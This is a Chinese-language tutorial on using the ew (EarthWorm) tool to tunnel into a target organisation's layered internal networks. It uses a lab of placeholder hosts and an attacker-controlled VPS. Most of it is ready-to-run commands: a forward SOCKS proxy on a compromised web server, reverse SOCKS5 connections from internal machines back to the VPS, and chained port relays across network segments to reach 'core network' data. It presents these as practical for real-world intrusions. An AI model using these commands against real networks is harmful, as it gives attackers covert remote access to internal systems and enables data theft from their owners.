利用 ew 轻松穿透目标多级内网

0x01 ew 快速穿透目标多级内网:

简要环境说明:

1
2
3
win2008R2 假设为目标边界web服务器,可正常访问公网
假设其公网ip为 192.168.3.23
假设其内网ip为 192.168.32.131

1
2
win2008 假设为目标内网数据库服务器,可正常访问公网
假设其内网ip为 192.168.32.170
1
2
win7 假设为自己公网的vps
假设其公网ip为 192.168.3.232
1
2
centos 5.1 假设为目标内网的一台linux机器,没有dns不能访问公网
假设其内网ip为 192.168.32.169

0x02 首先,利用ew做最简单的正向代理,其实就是大家最常用的所谓的ss:

在 win2008R2 机器上执行

1
# ew_for_Win.exe -s ssocksd -l 1080

在win7上打开Proxifier根据上面监听的端口建立正常的socks代理即可

0x03 假设目标机器就直接处在内网[没有公网ip,但可以访问公网],我们也可以利用ew进行反向socks5代理,然后直接在vps上就可以很方便的访问目标内网中的所有机器了:

先在 win7上执行,等待目标反弹连接

1
# ew_for_Win.exe -s rcsocks -l 1080 -e 1234

在 win2008上执行,反弹socks5连接

1
# ew_for_Win.exe -s rssocks -d 192.168.3.232 -e 1234

0x04 实现复杂内网环境下的跨网段多级穿透:

第一种场景,内网机器不能访问公网,可通过能访问公网的机器把内网不能访问公网机器带出来,比较简单,如下:

1
2
3
4
假设win2008处在目标内网且不能访问公网但可以访问内网中的资源
而win2008R2这台机器上虽然有内网ip,但不能访问内网资源,好在win2008R2可以访问win2008
这时我们想获取内网资源就可以这样干,先在win2008上开启socks代理服务,然后再在DMZ的win2008R2连上内网的win2008的socks服务
最后,通过win2008上的socks服务我们就可以轻松访问目标内网中的各种资源了,具体实现过程如下

首先,在win2008上执行,意思就是在本地建立socks5代理,端口为1080

1
# ew_for_Win.exe -s ssocksd -l 1080

在到DMZ的win2008R2上执行,意思就是把来自外部的1090端口的流量转到内网192.168.32.170这台机器的1080端口上

1
# ew_for_Win.exe -s lcx_tran -l 1090 -f 192.168.32.170 -g 1080

最后,再回到win7[vps]上去利用Proxifier建立正常的socks代理访问1090端口即可,访问vps的1090就相当于访问内网win2008的1080端口

第二种场景,还是有些机器不能访问公网的情况:

1
2
假设win2008在内网且能访问公网但不能访问内网资源,而centos 5.1能访问内网资源但却无法访问公网,而win2008可以访问centos 5.1
这试,我们要想获取内网资源,就可以通过win2008centos 5.1win7[vps]之间建立一条socks5通道,实现过程比较简单,如下

首先,在win7[实际中的vps]上执行,把来自外部的1080端口的流量转到本地的1379端口上

1
# ew_for_Win.exe -s lcx_listen -l 1080 -e 1379

此时回到centos 5.1上执行,在本地启动socks5代理并监听2345端口

1
2
# chmod +x ew_for_Linux32
# ./ew_for_Linux32 -s ssocksd -l 2345

然后再到win2008上去执行,意思就是把win7[vps]的1379端口和centos 5.1的2345进行绑定,即建立socks5通道

1
# ew_for_Win.exe -s lcx_slave -d 192.168.3.232 -e 1379 -f 192.168.32.169 -g 2345

最后,在回到win7[vps]建立正常的socks代理访问即可,实际上就相当于访问win7的1080就相当于访问centos 5.1的2345端口,通过这种方式一样也可以把整个目标内网代理出来

第三种场景,多级内网轻松穿透:

1
2
假设win2008R2在内网[无公网ip]并在一个独立的内网段,win2008也处在目标内网,假设在另一个内网段,centos 5.1同样也处在内网,可又在另一个单独的内网段
win2008R2能访问win2008,win2008能访问centos 5.1,而centos 5.1能访问目标核心网,要实现层层穿透,访问到核心网资源,我们就可以这样

先在win7[vps]上执行,把来自外部的1080端口流量转到本地的1235端口上

1
# ew_for_Win.exe -s rcsocks -l 1080 -e 1235

在win2008R2上执行,把win7[vps]的1235端口和内网win2008的3456端口绑定

1
# ew_for_Win.exe -s lcx_slave -d 192.168.3.232 -e 1235 -f 192.168.32.170 -g 3456

在win2008上执行,将来自外部的1236端口和本地的3456端口进行绑定

1
# ew_for_Win.exe -s lcx_listen -l 3456 -e 1236

在centos 5.1上执行,将本地的socks连接反弹到win2008的1236端口上,此时再回到win2008上看会提示”rssocks cmd_socket OK!”,说明通道已经建立成功

1
# ./ew_for_Linux32 -s rssocks -d 192.168.32.170 -e 1236

最后,再回到win7[vps]上利用Proxifier访问本地的1080就相当于访问centos 5.1的1236端口,即可轻松获取核心网的数据



一点小结:
    关于ew,想必经常搞内网的朋友,都已经非常熟练了,这里也就不废话了,其实,关于ew本身在实战中还是比较实用的,在此也非常感谢作者的无私贡献,真心希望国内能多一些这样的人,总体来讲,在工具使用上并没有太多技术含量,关键还是要你自己根据目标的实际内网环境仔细弄清楚数据流向再针对性的用,上面一些简单应用场景中,表面看着貌似挺复杂的,其实真正理解以后,都非常简单,深刻搞清楚这些最基本的东西你才有可能灵活应用,什么都是如此,总是停留在’用’别人的工具上,自己没有一点儿的独立分析和想法,是很难有长进的,后续有空会再简单介绍下关于Termite跳板机使用